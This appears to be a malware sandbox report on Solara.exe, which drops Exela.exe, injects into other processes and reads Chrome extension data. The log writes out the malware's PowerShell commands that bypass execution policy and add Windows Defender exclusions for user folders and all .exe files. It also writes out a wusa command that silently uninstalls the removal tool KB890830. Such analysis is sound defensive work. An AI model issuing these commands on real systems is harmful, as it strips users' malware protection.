WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Users\user\Desktop\Solara.exe	Memory allocated: 1FF0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Memory allocated: 1BC80000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5779	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4034	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7412	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1977	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6732	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2472	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7724
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1764
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2142
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1158
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5013

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Dropped PE file which has not been started: C:\Windows\Temp\ypynqohyxqjk.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\mask.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_parser.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\yarl\_quoting_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist\_frozenlist.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\reader_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\propcache\_helpers_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_writer.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict\_multidict.cp310-win_amd64.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_76-18228

Source: C:\Windows\System32\conhost.exe

API coverage: 0.9 %

Source: C:\Users\user\Desktop\Solara.exe TID: 6920	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4300	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3028	Thread sleep count: 7412 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2860	Thread sleep count: 1977 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5892	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6740	Thread sleep count: 6732 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6740	Thread sleep count: 2472 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6004	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4904	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4504	Thread sleep count: 7724 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1660	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3172	Thread sleep count: 1764 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6136	Thread sleep count: 2142 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6136	Thread sleep count: 1158 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1464	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5688	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5976	Thread sleep count: 5013 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4504	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5700	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE983B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	76_2_00007FF75AE983B0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE992F0 FindFirstFileExW,FindClose,	76_2_00007FF75AE992F0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	76_2_00007FF75AEB18E4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AE992F0 FindFirstFileExW,FindClose,	77_2_00007FF75AE992F0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AE983B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	77_2_00007FF75AE983B0

Source: C:\Users\user\Desktop\Solara.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Code function: 76_2_00007FF75AE9D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

76_2_00007FF75AE9D19C

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Code function: 77_2_00007FFB084A3230 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

77_2_00007FFB084A3230

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Code function: 76_2_00007FF75AEB34F0 GetProcessHeap,

76_2_00007FF75AEB34F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\conhost.exe	Code function: 64_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	64_2_0000000140001160
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE9D37C SetUnhandledExceptionFilter,	76_2_00007FF75AE9D37C
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE9D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	76_2_00007FF75AE9D19C
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE9C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	76_2_00007FF75AE9C910
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEAA684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	76_2_00007FF75AEAA684
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036050 SetUnhandledExceptionFilter,	77_2_00007FFB08036050
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08033048 IsProcessorFeaturePresent,00007FFB1C8119C0,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFB1C8119C0,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	77_2_00007FFB08033048

Source: C:\Users\user\Desktop\Solara.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Exela.exe'
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Exela.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\Solara.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Thread register set: target process: 5200
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Thread register set: target process: 4300

Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user~1\AppData\Local\Temp\Solara.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Exela.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Users\user\AppData\Local\Temp\Exela.exe "C:\Users\user~1\AppData\Local\Temp\Exela.exe"
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Code function: 76_2_00007FF75AEB95E0 cpuid

76_2_00007FF75AEB95E0

Source: C:\Users\user\Desktop\Solara.exe	Queries volume information: C:\Users\user\Desktop\Solara.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
